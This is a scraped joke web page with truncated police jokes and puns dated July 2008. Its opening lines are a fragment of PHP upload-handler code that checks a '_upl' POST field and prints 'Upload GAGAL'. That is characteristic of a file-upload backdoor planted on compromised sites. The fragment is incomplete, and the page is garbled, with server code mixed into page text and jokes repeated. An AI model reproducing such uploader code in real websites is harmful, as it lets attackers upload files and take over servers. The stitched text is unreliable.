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echo '';
if( $_POST['_upl'] == "Upload" ) {
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'; }
else { echo 'Upload GAGAL !!!
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}
?>
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| Police jokes |
| Dispatcher: Nine-one-one
Caller: Hi, is
this the police?
Dispatcher: This is 911. Do you need police
assistance?
Caller: Well, I don't know who to call. Can you tell
me how to
cook a turkey? I've never cooked one before.
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| A local law enforcement officer stops a car for traveling faster than the posted speed limit. Since he's in a good mood that . . . Read the rest of this joke »
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| A defense attorney was cross-examining
a
police officer during
a felony trial - it went like this:
Q.
Officer, did . . . Read the rest of this joke »
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| Two Rangers stopped a guy for speeding on the
state highway in
Waxahachie, Texas. As they were writing up the
ticket, . . . Read the rest of this joke »
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| As a female
shopper exited a New York
convenience store, a man grabbed
her purse and ran. The clerk called 911
immedia . . . Read the rest of this joke »
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| A policeman had a perfect spot
to watch for
speeders, but wasn't
getting many. Then he discovered the
problem-a 10-ye . . . Read the rest of this joke »
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| The sheriff of a small
town was also the
town's
veterinarian.
One night the phone rang, and his wife
answered. An . . . Read the rest of this joke »
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| If an electric train travels 90
miles an hour in a westerly direction and the wind is blowing from the
north, in which direction is the smoke blowing?
There is no smoke
from an electric train!
. . . Read the rest of this joke »
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01, Jul 2008 |
| Q: What kind
of work does a weak cat do? - A:
Light mouse work.
. . . Read the rest of this joke »
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01, Jul 2008 |
| Why
did the electrician close early on
Mondays?
Because business was very light.
. . . Read the rest of this joke »
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01, Jul 2008 |
| A seargent is
interviewing three cadets who
were training to become detectives. To test
their skills in
recognizing a suspect, he shows the first cadet a picture
for 5 seconds
and then hides it.
"This is . . . Read the rest of this joke »
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01, Jul 2008 |
| What did the pig call a manuscript?
A shoat
story.
. . . Read the rest of this joke »
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01, Jul 2008 |
| What happens when ducks fly upside
down ?
They quack up !
. . . Read the rest of this joke »
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01, Jul 2008 |
| Did you hear about the new
restaurant on
the moon? Great food but no atmosphere.
. . . Read the rest of this joke »
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01, Jul 2008 |
| Mother: Jared, get your little
sister's hat out of that
puddle.
Jared: I can't mum, she's got it
strapped too tight under her
chin!
. . . Read the rest of this joke »
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01, Jul 2008 |
| A policeman had a perfect spot
to watch for
speeders, but wasn't
getting many. Then he discovered the
problem-a 10-year old boy was
standing up the road with a hand painted sign
which read "RADAR TRAP
AHEAD . . . Read the rest of this joke »
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01, Jul 2008 |
| Two Rangers stopped a guy for speeding on the
state highway in
Waxahachie, Texas. As they were writing up the
ticket, one Ranger
turned to the other and said, "How do you spell
Waxahachie?"
The other one r . . . Read the rest of this joke »
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01, Jul 2008 |
| A local law enforcement officer stops a car for traveling faster than the posted speed limit. Since he's in a good mood that day he decides to give the poor fellow a break and write him out a warning instead of a ticket. . . . Read the rest of this joke »
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01, Jul 2008 |
| A defense attorney was cross-examining
a
police officer during
a felony trial - it went like this:
Q.
Officer, did you see my client fleeing the scene?
A. No sir, but I
subsequently observed a person matchin . . . Read the rest of this joke »
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01, Jul 2008 |
| A police man was on
duty one night and he
headed up to "Make out
Mountain" to try to catch some couples in the
act.
When he got up there he stopped at the first car where a
couple sat,
and was surprised to . . . Read the rest of this joke »
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01, Jul 2008 |
| How can you tell the pig
is a failure as
Easter bunny?
By the egg on its face.
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01, Jul 2008 |
| Q. Why did the ape run around with a piece
of raw meat on his head?
A. He thought he was a gorilla.
(griller)!
. . . Read the rest of this joke »
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